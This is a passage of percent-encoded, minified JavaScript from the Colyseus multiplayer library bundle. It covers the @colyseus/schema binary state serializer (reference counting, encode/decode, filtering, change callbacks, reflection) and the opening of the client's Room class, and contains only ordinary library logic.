kMap%7Dreturn%20e.prototype.addRefId%3Dfunction(e)%7Bthis.refIds.has(e)%7C%7C(this.refIds.add(e)%2Cthis.containerIndexes.set(e%2Cnew%20Set))%7D%2Ce.get%3Dfunction(t)%7Breturn%20void%200%3D%3D%3Dt.%24filterState%26%26(t.%24filterState%3Dnew%20e)%2Ct.%24filterState%7D%2Ce%7D()%2CEe%3Dfunction()%7Bfunction%20e()%7Bthis.refs%3Dnew%20Map%2Cthis.refCounts%3D%7B%7D%2Cthis.deletedRefs%3Dnew%20Set%2Cthis.nextUniqueId%3D0%7Dreturn%20e.prototype.getNextUniqueId%3Dfunction()%7Breturn%20this.nextUniqueId%2B%2B%7D%2Ce.prototype.addRef%3Dfunction(e%2Ct%2Cn)%7Bvoid%200%3D%3D%3Dn%26%26(n%3D!0)%2Cthis.refs.set(e%2Ct)%2Cn%26%26(this.refCounts%5Be%5D%3D(this.refCounts%5Be%5D%7C%7C0)%2B1)%7D%2Ce.prototype.removeRef%3Dfunction(e)%7Bthis.refCounts%5Be%5D%3Dthis.refCounts%5Be%5D-1%2Cthis.deletedRefs.add(e)%7D%2Ce.prototype.clearRefs%3Dfunction()%7Bthis.refs.clear()%2Cthis.deletedRefs.clear()%2Cthis.refCounts%3D%7B%7D%7D%2Ce.prototype.garbageCollectDeletedRefs%3Dfunction()%7Bvar%20e%3Dthis%3Bthis.deletedRefs.forEach((function(t)%7Bif(!(e.refCounts%5Bt%5D%3E0))%7Bvar%20n%3De.refs.get(t)%3Bif(n%20instanceof%20Te)for(var%20r%20in%20n._definition.schema)%22string%22!%3Dtypeof%20n._definition.schema%5Br%5D%26%26n%5Br%5D%26%26n%5Br%5D.%24changes%26%26e.removeRef(n%5Br%5D.%24changes.refId)%3Belse%7Bvar%20o%3Dn.%24changes.parent._definition%2Ci%3Do.schema%5Bo.fieldsByIndex%5Bn.%24changes.parentIndex%5D%5D%3B%22function%22%3D%3Dtypeof%20Object.values(i)%5B0%5D%26%26Array.from(n.values()).forEach((function(t)%7Breturn%20e.removeRef(t.%24changes.refId)%7D))%7De.refs.delete(t)%2Cdelete%20e.refCounts%5Bt%5D%7D%7D))%2Cthis.deletedRefs.clear()%7D%2Ce%7D()%2C_e%3Dfunction(e)%7Bfunction%20t()%7Breturn%20null!%3D%3De%26%26e.apply(this%2Carguments)%7C%7Cthis%7Dreturn%20n(t%2Ce)%2Ct%7D(Error)%3Bfunction%20Ae(e%2Ct%2Cn%2Cr)%7Bvar%20o%2Ci%3D!1%3Bswitch(t)%7Bcase%22number%22%3Acase%22int8%22%3Acase%22uint8%22%3Acase%22int16%22%3Acase%22uint16%22%3Acase%22int32%22%3Acase%22uint32%22%3Acase%22int64%22%3Acase%22uint64%22%3Acase%22float32%22%3Acase%22float64%22%3Ao%3D%22number%22%2CisNaN(e)%26%26console.log('trying%20to%20encode%20%22NaN%22%20in%20'.concat(n.constructor.name%2C%22%23%22).concat(r))%3Bbreak%3Bcase%22string%22%3Ao%3D%22string%22%2Ci%3D!0%3Bbreak%3Bcase%22boolean%22%3Areturn%7Dif(typeof%20e!%3D%3Do%26%26(!i%7C%7Ci%26%26null!%3D%3De))%7Bvar%20s%3D%22'%22.concat(JSON.stringify(e)%2C%22'%22).concat(e%26%26e.constructor%26%26%22%20(%22.concat(e.constructor.name%2C%22)%22)%7C%7C%22%22)%3Bthrow%20new%20_e(%22a%20'%22.concat(o%2C%22'%20was%20expected%2C%20but%20%22).concat(s%2C%22%20was%20provided%20in%20%22).concat(n.constructor.name%2C%22%23%22).concat(r))%7D%7Dfunction%20Oe(e%2Ct%2Cn%2Cr)%7Bif(!(e%20instanceof%20t))throw%20new%20_e(%22a%20'%22.concat(t.name%2C%22'%20was%20expected%2C%20but%20'%22).concat(e.constructor.name%2C%22'%20was%20provided%20in%20%22).concat(n.constructor.name%2C%22%23%22).concat(r))%7Dfunction%20Ie(e%2Ct%2Cn%2Cr%2Co)%7BAe(n%2Ce%2Cr%2Co)%3Bvar%20i%3DK%5Be%5D%3Bif(!i)throw%20new%20_e(%22a%20'%22.concat(e%2C%22'%20was%20expected%2C%20but%20%22).concat(n%2C%22%20was%20provided%20in%20%22).concat(r.constructor.name%2C%22%23%22).concat(o))%3Bi(t%2Cn)%7Dfunction%20ke(e%2Ct%2Cn)%7Breturn%20ve%5Be%5D(t%2Cn)%7Dvar%20Te%3Dfunction()%7Bfunction%20t()%7Bfor(var%20e%3D%5B%5D%2Ct%3D0%3Bt%3Carguments.length%3Bt%2B%2B)e%5Bt%5D%3Darguments%5Bt%5D%3BObject.defineProperties(this%2C%7B%24changes%3A%7Bvalue%3Anew%20c(this%2Cvoid%200%2Cnew%20Ee)%2Cenumerable%3A!1%2Cwritable%3A!0%7D%2C%24callbacks%3A%7Bvalue%3Avoid%200%2Cenumerable%3A!1%2Cwritable%3A!0%7D%7D)%3Bvar%20n%3Dthis._definition.descriptors%3Bn%26%26Object.defineProperties(this%2Cn)%2Ce%5B0%5D%26%26this.assign(e%5B0%5D)%7Dreturn%20t.onError%3Dfunction(e)%7Bconsole.error(e)%7D%2Ct.is%3Dfunction(e)%7Breturn%20e._definition%26%26void%200!%3D%3De._definition.schema%7D%2Ct.prototype.onChange%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.REPLACE%2Ct)%7D%2Ct.prototype.onRemove%3Dfunction(t)%7Breturn%20l(this.%24callbacks%7C%7C(this.%24callbacks%3D%5B%5D)%2Ce.OPERATION.DELETE%2Ct)%7D%2Ct.prototype.assign%3Dfunction(e)%7Breturn%20Object.assign(this%2Ce)%2Cthis%7D%2CObject.defineProperty(t.prototype%2C%22_definition%22%2C%7Bget%3Afunction()%7Breturn%20this.constructor._definition%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ct.prototype.setDirty%3Dfunction(e%2Ct)%7Bthis.%24changes.change(e%2Ct)%7D%2Ct.prototype.listen%3Dfunction(e%2Ct%2Cn)%7Bvar%20r%3Dthis%3Breturn%20void%200%3D%3D%3Dn%26%26(n%3D!0)%2Cthis.%24callbacks%7C%7C(this.%24callbacks%3D%7B%7D)%2Cthis.%24callbacks%5Be%5D%7C%7C(this.%24callbacks%5Be%5D%3D%5B%5D)%2Cthis.%24callbacks%5Be%5D.push(t)%2Cn%26%26void%200!%3D%3Dthis%5Be%5D%26%26t(this%5Be%5D%2Cvoid%200)%2Cfunction()%7Breturn%20f(r.%24callbacks%5Be%5D%2Cr.%24callbacks%5Be%5D.indexOf(t))%7D%7D%2Ct.prototype.decode%3Dfunction(n%2Cr%2Co)%7Bvar%20i%3Bvoid%200%3D%3D%3Dr%26%26(r%3D%7Boffset%3A0%7D)%2Cvoid%200%3D%3D%3Do%26%26(o%3Dthis)%3Bvar%20a%3D%5B%5D%2Cc%3Dthis.%24changes.root%2Cl%3Dn.length%2Cu%3D0%3Bfor(c.refs.set(u%2Cthis)%3Br.offset%3Cl%3B)%7Bvar%20f%3Dn%5Br.offset%2B%2B%5D%3Bif(f!%3Ds)%7Bvar%20d%3Do.%24changes%2Ch%3Dvoid%200!%3D%3Do._definition%2Cg%3Dh%3Ff%3E%3E6%3C%3C6%3Af%3Bif(g!%3D%3De.OPERATION.CLEAR)%7Bvar%20%24%3Dh%3Ff%25(g%7C%7C255)%3Age(n%2Cr)%2Cy%3Dh%3Fo._definition.fieldsByIndex%5B%24%5D%3A%22%22%2Cb%3Dd.getType(%24)%2Cw%3Dvoid%200%2Cx%3Dvoid%200%2CE%3Dvoid%200%3Bif(h%3Fx%3Do%5B%22_%22.concat(y)%5D%3A(x%3Do.getByIndex(%24)%2C(g%26e.OPERATION.ADD)%3D%3D%3De.OPERATION.ADD%3F(E%3Do%20instanceof%20m%3Fhe(n%2Cr)%3A%24%2Co.setIndex(%24%2CE))%3AE%3Do.getIndex(%24))%2C(g%26e.OPERATION.DELETE)%3D%3D%3De.OPERATION.DELETE%26%26(g!%3D%3De.OPERATION.DELETE_AND_ADD%26%26o.deleteByIndex(%24)%2Cx%26%26x.%24changes%26%26c.removeRef(x.%24changes.refId)%2Cw%3Dnull)%2Cvoid%200!%3D%3Dy)%7Bif(g%3D%3D%3De.OPERATION.DELETE)%3Belse%20if(t.is(b))%7Bvar%20_%3Dge(n%2Cr)%3Bif(w%3Dc.refs.get(_)%2Cg!%3D%3De.OPERATION.REPLACE)%7Bvar%20A%3Dthis.getSchemaType(n%2Cr%2Cb)%3Bw%7C%7C((w%3Dthis.createTypeInstance(A)).%24changes.refId%3D_%2Cx%26%26(w.%24callbacks%3Dx.%24callbacks%2Cx.%24changes.refId%26%26_!%3D%3Dx.%24changes.refId%26%26c.removeRef(x.%24changes.refId)))%2Cc.addRef(_%2Cw%2Cw!%3D%3Dx)%7D%7Delse%20if(%22string%22%3D%3Dtypeof%20b)w%3Dke(b%2Cn%2Cr)%3Belse%7Bvar%20O%3Dv(Object.keys(b)%5B0%5D)%2CI%3Dge(n%2Cr)%2Ck%3Dc.refs.has(I)%3Fx%7C%7Cc.refs.get(I)%3Anew%20O.constructor%3Bif((w%3Dk.clone(!0)).%24changes.refId%3DI%2Cx%26%26(w.%24callbacks%3Dx.%24callbacks%2Cx.%24changes.refId%26%26I!%3D%3Dx.%24changes.refId))%7Bc.removeRef(x.%24changes.refId)%3Bfor(var%20T%3Dx.entries()%2CC%3Dvoid%200%3B(C%3DT.next())%26%26!C.done%3B)%7Bvar%20R%3D(i%3DC.value)%5B0%5D%2CS%3Di%5B1%5D%3Ba.push(%7BrefId%3AI%2Cop%3Ae.OPERATION.DELETE%2Cfield%3AR%2Cvalue%3Avoid%200%2CpreviousValue%3AS%7D)%7D%7Dc.addRef(I%2Cw%2Ck!%3D%3Dx)%7Dif(null!%3Dw)if(w.%24changes%26%26w.%24changes.setParent(d.ref%2Cd.root%2C%24)%2Co%20instanceof%20t)o%5By%5D%3Dw%3Belse%20if(o%20instanceof%20m)R%3DE%2Co.%24items.set(R%2Cw)%2Co.%24changes.allChanges.add(%24)%3Belse%20if(o%20instanceof%20p)o.setAt(%24%2Cw)%3Belse%20if(o%20instanceof%20be)%7Bvar%20P%3Do.add(w)%3Bo.setIndex(%24%2CP)%7Delse%20o%20instanceof%20we%26%26!1!%3D%3D(P%3Do.add(w))%26%26o.setIndex(%24%2CP)%3Bx!%3D%3Dw%26%26a.push(%7BrefId%3Au%2Cop%3Ag%2Cfield%3Ay%2CdynamicIndex%3AE%2Cvalue%3Aw%2CpreviousValue%3Ax%7D)%7Delse%7Bconsole.warn(%22%40colyseus%2Fschema%3A%20definition%20mismatch%22)%3Bfor(var%20M%3D%7Boffset%3Ar.offset%7D%3Br.offset%3Cl%26%26(!ye(n%2Cr)%7C%7C(M.offset%3Dr.offset%2B1%2C!c.refs.has(ge(n%2CM))))%3B)r.offset%2B%2B%7D%7Delse%20o.clear(a)%7Delse%7Bu%3Dge(n%2Cr)%3Bvar%20N%3Dc.refs.get(u)%3Bif(!N)throw%20new%20Error('%22refId%22%20not%20found%3A%20'.concat(u))%3Bo%3DN%7D%7Dreturn%20this._triggerChanges(a)%2Cc.garbageCollectDeletedRefs()%2Ca%7D%2Ct.prototype.encode%3Dfunction(n%2Cr%2Co)%7Bvoid%200%3D%3D%3Dn%26%26(n%3D!1)%2Cvoid%200%3D%3D%3Dr%26%26(r%3D%5B%5D)%2Cvoid%200%3D%3D%3Do%26%26(o%3D!1)%3Bfor(var%20i%3Dthis.%24changes%2Ca%3Dnew%20WeakSet%2Cc%3D%5Bi%5D%2Cl%3D1%2Cu%3D0%3Bu%3Cl%3Bu%2B%2B)%7Bvar%20f%3Dc%5Bu%5D%2Cd%3Df.ref%2Ch%3Dd%20instanceof%20t%3Bf.ensureRefId()%2Ca.add(f)%2Cf!%3D%3Di%26%26(f.changed%7C%7Cn)%26%26(S(r%2Cs)%2CG(r%2Cf.refId))%3Bfor(var%20p%3Dn%3FArray.from(f.allChanges)%3AArray.from(f.changes.values())%2Cg%3D0%2C%24%3Dp.length%3Bg%3C%24%3Bg%2B%2B)%7Bvar%20y%3Dn%3F%7Bop%3Ae.OPERATION.ADD%2Cindex%3Ap%5Bg%5D%7D%3Ap%5Bg%5D%2Cb%3Dy.index%2Cw%3Dh%3Fd._definition.fieldsByIndex%26%26d._definition.fieldsByIndex%5Bb%5D%3Ab%2Cx%3Dr.length%3Bif(y.op!%3D%3De.OPERATION.TOUCH)if(h)S(r%2Cb%7Cy.op)%3Belse%7Bif(S(r%2Cy.op)%2Cy.op%3D%3D%3De.OPERATION.CLEAR)continue%3BG(r%2Cb)%7Dif(h%7C%7C(y.op%26e.OPERATION.ADD)!%3De.OPERATION.ADD%7C%7Cd%20instanceof%20m%26%26J(r%2Cf.ref.%24indexes.get(b))%2Cy.op!%3D%3De.OPERATION.DELETE)%7Bvar%20E%3Df.getType(b)%2C_%3Df.getValue(b)%3Bif(_%26%26_.%24changes%26%26!a.has(_.%24changes)%26%26(c.push(_.%24changes)%2C_.%24changes.ensureRefId()%2Cl%2B%2B)%2Cy.op!%3D%3De.OPERATION.TOUCH)%7Bif(t.is(E))Oe(_%2CE%2Cd%2Cw)%2CG(r%2C_.%24changes.refId)%2C(y.op%26e.OPERATION.ADD)%3D%3D%3De.OPERATION.ADD%26%26this.tryEncodeTypeId(r%2CE%2C_.constructor)%3Belse%20if(%22string%22%3D%3Dtypeof%20E)Ie(E%2Cr%2C_%2Cd%2Cw)%3Belse%7Bvar%20A%3Dv(Object.keys(E)%5B0%5D)%3BOe(d%5B%22_%22.concat(w)%5D%2CA.constructor%2Cd%2Cw)%2CG(r%2C_.%24changes.refId)%7Do%26%26f.cache(b%2Cr.slice(x))%7D%7D%7Dn%7C%7Co%7C%7Cf.discard()%7Dreturn%20r%7D%2Ct.prototype.encodeAll%3Dfunction(e)%7Breturn%20this.encode(!0%2C%5B%5D%2Ce)%7D%2Ct.prototype.applyFilters%3Dfunction(n%2Cr)%7Bvar%20o%2Ci%3Bvoid%200%3D%3D%3Dr%26%26(r%3D!1)%3Bfor(var%20a%3Dthis%2Cc%3Dnew%20Set%2Cl%3Dxe.get(n)%2Cu%3D%5Bthis.%24changes%5D%2Cf%3D1%2Cd%3D%5B%5D%2Ch%3Dfunction(h)%7Bvar%20p%3Du%5Bh%5D%3Bif(c.has(p.refId))return%22continue%22%3Bvar%20g%3Dp.ref%2C%24%3Dg%20instanceof%20t%3BS(d%2Cs)%2CG(d%2Cp.refId)%3Bvar%20y%3Dl.refIds.has(p)%2Cv%3Dr%7C%7C!y%3Bl.addRefId(p)%3Bvar%20b%3Dl.containerIndexes.get(p)%2Cw%3Dv%3FArray.from(p.allChanges)%3AArray.from(p.changes.values())%3B!r%26%26%24%26%26g._definition.indexesWithFilters%26%26g._definition.indexesWithFilters.forEach((function(t)%7B!b.has(t)%26%26p.allChanges.has(t)%26%26(v%3Fw.push(t)%3Aw.push(%7Bop%3Ae.OPERATION.ADD%2Cindex%3At%7D))%7D))%3Bfor(var%20x%3D0%2CE%3Dw.length%3Bx%3CE%3Bx%2B%2B)%7Bvar%20_%3Dv%3F%7Bop%3Ae.OPERATION.ADD%2Cindex%3Aw%5Bx%5D%7D%3Aw%5Bx%5D%3Bif(_.op!%3D%3De.OPERATION.CLEAR)%7Bvar%20A%3D_.index%3Bif(_.op!%3D%3De.OPERATION.DELETE)%7Bvar%20O%3Dp.getValue(A)%2CI%3Dp.getType(A)%3Bif(%24)%7Bif((k%3Dg._definition.filters%26%26g._definition.filters%5BA%5D)%26%26!k.call(g%2Cn%2CO%2Ca))%7BO%26%26O.%24changes%26%26c.add(O.%24changes.refId)%3Bcontinue%7D%7Delse%7Bvar%20k%2CT%3Dp.parent%3Bif((k%3Dp.getChildrenFilter())%26%26!k.call(T%2Cn%2Cg.%24indexes.get(A)%2CO%2Ca))%7BO%26%26O.%24changes%26%26c.add(O.%24changes.refId)%3Bcontinue%7D%7Dif(O.%24changes%26%26(u.push(O.%24changes)%2Cf%2B%2B)%2C_.op!%3D%3De.OPERATION.TOUCH)if(_.op%3D%3D%3De.OPERATION.ADD%7C%7C%24)d.push.apply(d%2Cnull!%3D%3D(o%3Dp.caches%5BA%5D)%26%26void%200!%3D%3Do%3Fo%3A%5B%5D)%2Cb.add(A)%3Belse%20if(b.has(A))d.push.apply(d%2Cnull!%3D%3D(i%3Dp.caches%5BA%5D)%26%26void%200!%3D%3Di%3Fi%3A%5B%5D)%3Belse%7Bif(b.add(A)%2CS(d%2Ce.OPERATION.ADD)%2CG(d%2CA)%2Cg%20instanceof%20m)%7Bvar%20C%3Dp.ref.%24indexes.get(A)%3BJ(d%2CC)%7DO.%24changes%3FG(d%2CO.%24changes.refId)%3AK%5BI%5D(d%2CO)%7Delse%20O.%24changes%26%26!%24%26%26(S(d%2Ce.OPERATION.ADD)%2CG(d%2CA)%2Cg%20instanceof%20m%26%26(C%3Dp.ref.%24indexes.get(A)%2CJ(d%2CC))%2CG(d%2CO.%24changes.refId))%7Delse%20%24%3FS(d%2C_.op%7CA)%3A(S(d%2C_.op)%2CG(d%2CA))%7Delse%20S(d%2C_.op)%7D%7D%2Cp%3D0%3Bp%3Cf%3Bp%2B%2B)h(p)%3Breturn%20d%7D%2Ct.prototype.clone%3Dfunction()%7Bvar%20e%2Ct%3Dnew%20this.constructor%2Cn%3Dthis._definition.schema%3Bfor(var%20r%20in%20n)%22object%22%3D%3Dtypeof%20this%5Br%5D%26%26%22function%22%3D%3Dtypeof(null%3D%3D%3D(e%3Dthis%5Br%5D)%7C%7Cvoid%200%3D%3D%3De%3Fvoid%200%3Ae.clone)%3Ft%5Br%5D%3Dthis%5Br%5D.clone()%3At%5Br%5D%3Dthis%5Br%5D%3Breturn%20t%7D%2Ct.prototype.toJSON%3Dfunction()%7Bvar%20e%3Dthis._definition.schema%2Ct%3Dthis._definition.deprecated%2Cn%3D%7B%7D%3Bfor(var%20r%20in%20e)t%5Br%5D%7C%7Cnull%3D%3D%3Dthis%5Br%5D%7C%7Cvoid%200%3D%3D%3Dthis%5Br%5D%7C%7C(n%5Br%5D%3D%22function%22%3D%3Dtypeof%20this%5Br%5D.toJSON%3Fthis%5Br%5D.toJSON()%3Athis%5B%22_%22.concat(r)%5D)%3Breturn%20n%7D%2Ct.prototype.discardAllChanges%3Dfunction()%7Bthis.%24changes.discardAll()%7D%2Ct.prototype.getByIndex%3Dfunction(e)%7Breturn%20this%5Bthis._definition.fieldsByIndex%5Be%5D%5D%7D%2Ct.prototype.deleteByIndex%3Dfunction(e)%7Bthis%5Bthis._definition.fieldsByIndex%5Be%5D%5D%3Dvoid%200%7D%2Ct.prototype.tryEncodeTypeId%3Dfunction(e%2Ct%2Cn)%7Bt._typeid!%3D%3Dn._typeid%26%26(S(e%2Ca)%2CG(e%2Cn._typeid))%7D%2Ct.prototype.getSchemaType%3Dfunction(e%2Ct%2Cn)%7Bvar%20r%3Breturn%20e%5Bt.offset%5D%3D%3D%3Da%26%26(t.offset%2B%2B%2Cr%3Dthis.constructor._context.get(ge(e%2Ct)))%2Cr%7C%7Cn%7D%2Ct.prototype.createTypeInstance%3Dfunction(e)%7Bvar%20t%3Dnew%20e%3Breturn%20t.%24changes.root%3Dthis.%24changes.root%2Ct%7D%2Ct.prototype._triggerChanges%3Dfunction(n)%7Bfor(var%20r%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%3Dnew%20Set%2Ch%3Dthis.%24changes.root.refs%2Cp%3Dfunction(p)%7Bvar%20g%3Dn%5Bp%5D%2Cm%3Dg.refId%2C%24%3Dh.get(m)%2Cy%3D%24.%24callbacks%3Bif((g.op%26e.OPERATION.DELETE)%3D%3D%3De.OPERATION.DELETE%26%26g.previousValue%20instanceof%20t%26%26(null%3D%3D%3D(o%3Dnull%3D%3D%3D(r%3Dg.previousValue.%24callbacks)%7C%7Cvoid%200%3D%3D%3Dr%3Fvoid%200%3Ar%5Be.OPERATION.DELETE%5D)%7C%7Cvoid%200%3D%3D%3Do%7C%7Co.forEach((function(e)%7Breturn%20e()%7D)))%2C!y)return%22continue%22%3Bif(%24%20instanceof%20t)%7Bif(!d.has(m))try%7Bnull%3D%3D%3D(i%3Dnull%3D%3Dy%3Fvoid%200%3Ay%5Be.OPERATION.REPLACE%5D)%7C%7Cvoid%200%3D%3D%3Di%7C%7Ci.forEach((function(e)%7Breturn%20e(n)%7D))%7Dcatch(e)%7Bt.onError(e)%7Dtry%7By.hasOwnProperty(g.field)%26%26(null%3D%3D%3D(s%3Dy%5Bg.field%5D)%7C%7Cvoid%200%3D%3D%3Ds%7C%7Cs.forEach((function(e)%7Breturn%20e(g.value%2Cg.previousValue)%7D)))%7Dcatch(e)%7Bt.onError(e)%7D%7Delse%20g.op%3D%3D%3De.OPERATION.ADD%26%26void%200%3D%3D%3Dg.previousValue%3Fnull%3D%3D%3D(a%3Dy%5Be.OPERATION.ADD%5D)%7C%7Cvoid%200%3D%3D%3Da%7C%7Ca.forEach((function(e)%7Bvar%20t%3Breturn%20e(g.value%2Cnull!%3D%3D(t%3Dg.dynamicIndex)%26%26void%200!%3D%3Dt%3Ft%3Ag.field)%7D))%3Ag.op%3D%3D%3De.OPERATION.DELETE%3Fvoid%200!%3D%3Dg.previousValue%26%26(null%3D%3D%3D(c%3Dy%5Be.OPERATION.DELETE%5D)%7C%7Cvoid%200%3D%3D%3Dc%7C%7Cc.forEach((function(e)%7Bvar%20t%3Breturn%20e(g.previousValue%2Cnull!%3D%3D(t%3Dg.dynamicIndex)%26%26void%200!%3D%3Dt%3Ft%3Ag.field)%7D)))%3Ag.op%3D%3D%3De.OPERATION.DELETE_AND_ADD%26%26(void%200!%3D%3Dg.previousValue%26%26(null%3D%3D%3D(l%3Dy%5Be.OPERATION.DELETE%5D)%7C%7Cvoid%200%3D%3D%3Dl%7C%7Cl.forEach((function(e)%7Bvar%20t%3Breturn%20e(g.previousValue%2Cnull!%3D%3D(t%3Dg.dynamicIndex)%26%26void%200!%3D%3Dt%3Ft%3Ag.field)%7D)))%2Cnull%3D%3D%3D(u%3Dy%5Be.OPERATION.ADD%5D)%7C%7Cvoid%200%3D%3D%3Du%7C%7Cu.forEach((function(e)%7Bvar%20t%3Breturn%20e(g.value%2Cnull!%3D%3D(t%3Dg.dynamicIndex)%26%26void%200!%3D%3Dt%3Ft%3Ag.field)%7D)))%2Cg.value!%3D%3Dg.previousValue%26%26(null%3D%3D%3D(f%3Dy%5Be.OPERATION.REPLACE%5D)%7C%7Cvoid%200%3D%3D%3Df%7C%7Cf.forEach((function(e)%7Bvar%20t%3Breturn%20e(g.value%2Cnull!%3D%3D(t%3Dg.dynamicIndex)%26%26void%200!%3D%3Dt%3Ft%3Ag.field)%7D)))%3Bd.add(m)%7D%2Cg%3D0%3Bg%3Cn.length%3Bg%2B%2B)p(g)%7D%2Ct._definition%3Db.create()%2Ct%7D()%3Bfunction%20Ce(e)%7Bfor(var%20t%3D%5Be.%24changes%5D%2Cn%3D1%2Cr%3D%7B%7D%2Co%3Dr%2Ci%3Dfunction(e)%7Bvar%20n%3Dt%5Be%5D%3Bn.changes.forEach((function(e)%7Bvar%20t%3Dn.ref%2Cr%3De.index%2Ci%3Dt._definition%3Ft._definition.fieldsByIndex%5Br%5D%3At.%24indexes.get(r)%3Bo%5Bi%5D%3Dn.getValue(r)%7D))%7D%2Cs%3D0%3Bs%3Cn%3Bs%2B%2B)i(s)%3Breturn%20r%7Dvar%20Re%3D%7Bcontext%3Anew%20x%7D%2CSe%3Dfunction(e)%7Bfunction%20t()%7Breturn%20null!%3D%3De%26%26e.apply(this%2Carguments)%7C%7Cthis%7Dreturn%20n(t%2Ce)%2Cr(%5B_(%22string%22%2CRe)%5D%2Ct.prototype%2C%22name%22%2Cvoid%200)%2Cr(%5B_(%22string%22%2CRe)%5D%2Ct.prototype%2C%22type%22%2Cvoid%200)%2Cr(%5B_(%22number%22%2CRe)%5D%2Ct.prototype%2C%22referencedType%22%2Cvoid%200)%2Ct%7D(Te)%2CPe%3Dfunction(e)%7Bfunction%20t()%7Bvar%20t%3Dnull!%3D%3De%26%26e.apply(this%2Carguments)%7C%7Cthis%3Breturn%20t.fields%3Dnew%20p%2Ct%7Dreturn%20n(t%2Ce)%2Cr(%5B_(%22number%22%2CRe)%5D%2Ct.prototype%2C%22id%22%2Cvoid%200)%2Cr(%5B_(%5BSe%5D%2CRe)%5D%2Ct.prototype%2C%22fields%22%2Cvoid%200)%2Ct%7D(Te)%2CMe%3Dfunction(e)%7Bfunction%20t()%7Bvar%20t%3Dnull!%3D%3De%26%26e.apply(this%2Carguments)%7C%7Cthis%3Breturn%20t.types%3Dnew%20p%2Ct%7Dreturn%20n(t%2Ce)%2Ct.encode%3Dfunction(e)%7Bvar%20n%3De.constructor%2Cr%3Dnew%20t%3Br.rootType%3Dn._typeid%3Bvar%20o%3Dfunction(e%2Ct)%7Bfor(var%20n%20in%20t)%7Bvar%20o%3Dnew%20Se%3Bo.name%3Dn%3Bvar%20i%3Dvoid%200%3Bif(%22string%22%3D%3Dtypeof%20t%5Bn%5D)i%3Dt%5Bn%5D%3Belse%7Bvar%20s%3Dt%5Bn%5D%2Ca%3Dvoid%200%3BTe.is(s)%3F(i%3D%22ref%22%2Ca%3Dt%5Bn%5D)%3A%22string%22%3D%3Dtypeof%20s%5Bi%3DObject.keys(s)%5B0%5D%5D%3Fi%2B%3D%22%3A%22%2Bs%5Bi%5D%3Aa%3Ds%5Bi%5D%2Co.referencedType%3Da%3Fa._typeid%3A-1%7Do.type%3Di%2Ce.fields.push(o)%7Dr.types.push(e)%7D%2Ci%3Dn._context.types%3Bfor(var%20s%20in%20i)%7Bvar%20a%3Dnew%20Pe%3Ba.id%3DNumber(s)%2Co(a%2Ci%5Bs%5D._definition.schema)%7Dreturn%20r.encodeAll()%7D%2Ct.decode%3Dfunction(e%2Cr)%7Bvar%20o%3Dnew%20x%2Ci%3Dnew%20t%3Bi.decode(e%2Cr)%3Bvar%20s%3Di.types.reduce((function(e%2Ct)%7Bvar%20r%3Dfunction(e)%7Bfunction%20t()%7Breturn%20null!%3D%3De%26%26e.apply(this%2Carguments)%7C%7Cthis%7Dreturn%20n(t%2Ce)%2Ct%7D(Te)%2Ci%3Dt.id%3Breturn%20e%5Bi%5D%3Dr%2Co.add(r%2Ci)%2Ce%7D)%2C%7B%7D)%3Bi.types.forEach((function(e)%7Bvar%20t%3Ds%5Be.id%5D%3Be.fields.forEach((function(e)%7Bvar%20n%3Bif(void%200!%3D%3De.referencedType)%7Bvar%20r%3De.type%2Ci%3Ds%5Be.referencedType%5D%3Bif(!i)%7Bvar%20a%3De.type.split(%22%3A%22)%3Br%3Da%5B0%5D%2Ci%3Da%5B1%5D%7D%22ref%22%3D%3D%3Dr%3F_(i%2C%7Bcontext%3Ao%7D)(t.prototype%2Ce.name)%3A_(((n%3D%7B%7D)%5Br%5D%3Di%2Cn)%2C%7Bcontext%3Ao%7D)(t.prototype%2Ce.name)%7Delse%20_(e.type%2C%7Bcontext%3Ao%7D)(t.prototype%2Ce.name)%7D))%7D))%3Bvar%20a%3Ds%5Bi.rootType%5D%2Cc%3Dnew%20a%3Bfor(var%20l%20in%20a._definition.schema)%7Bvar%20u%3Da._definition.schema%5Bl%5D%3B%22string%22!%3Dtypeof%20u%26%26(c%5Bl%5D%3D%22function%22%3D%3Dtypeof%20u%3Fnew%20u%3Anew(v(Object.keys(u)%5B0%5D).constructor))%7Dreturn%20c%7D%2Cr(%5B_(%5BPe%5D%2CRe)%5D%2Ct.prototype%2C%22types%22%2Cvoid%200)%2Cr(%5B_(%22number%22%2CRe)%5D%2Ct.prototype%2C%22rootType%22%2Cvoid%200)%2Ct%7D(Te)%3By(%22map%22%2C%7Bconstructor%3Am%7D)%2Cy(%22array%22%2C%7Bconstructor%3Ap%7D)%2Cy(%22set%22%2C%7Bconstructor%3Awe%7D)%2Cy(%22collection%22%2C%7Bconstructor%3Abe%7D)%2Ce.ArraySchema%3Dp%2Ce.CollectionSchema%3Dbe%2Ce.Context%3Dx%2Ce.MapSchema%3Dm%2Ce.Reflection%3DMe%2Ce.ReflectionField%3DSe%2Ce.ReflectionType%3DPe%2Ce.Schema%3DTe%2Ce.SchemaDefinition%3Db%2Ce.SetSchema%3Dwe%2Ce.decode%3Dve%2Ce.defineTypes%3Dk%2Ce.deprecated%3DI%2Ce.dumpChanges%3DCe%2Ce.encode%3DK%2Ce.filter%3DA%2Ce.filterChildren%3DO%2Ce.hasFilter%3Dw%2Ce.registerType%3Dy%2Ce.type%3D_%2CObject.defineProperty(e%2C%22__esModule%22%2C%7Bvalue%3A!0%7D)%7D))%7D))%2CN%3Dfunction()%7Bfunction%20t(e%2Ct)%7Bvar%20n%3Dthis%3Bthis.onStateChange%3DS()%2Cthis.onError%3DS()%2Cthis.onLeave%3DS()%2Cthis.onJoin%3DS()%2Cthis.hasJoined%3D!1%2Cthis.onMessageHandlers%3DC()%2Cthis.roomId%3Dnull%2Cthis.name%3De%2Ct%26%26(this.serializer%3Dnew(T(%22schema%22))%2Cthis.rootSchema%3Dt%2Cthis.serializer.state%3Dnew%20t)%2Cthis.onError((function(e%2Ct)%7Bvar%20n%3Breturn%20null%3D%3D%3D(n%3Dconsole.warn)%7C%7Cvoid%200%3D%3D%3Dn%3Fvoid%200%3An.call(console%2C%22colyseus.js%20-%20onError%20%3D%3E%20(%22.concat(e%2C%22)%20%22).concat(t))%7D))%2Cthis.onLeave((function()%7Breturn%20n.removeAllListeners()%7D))%7Dreturn%20Object.defineProperty(t.prototype%2C%22id%22%2C%7Bget%3Afunction()%7Breturn%20this.roomId%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ct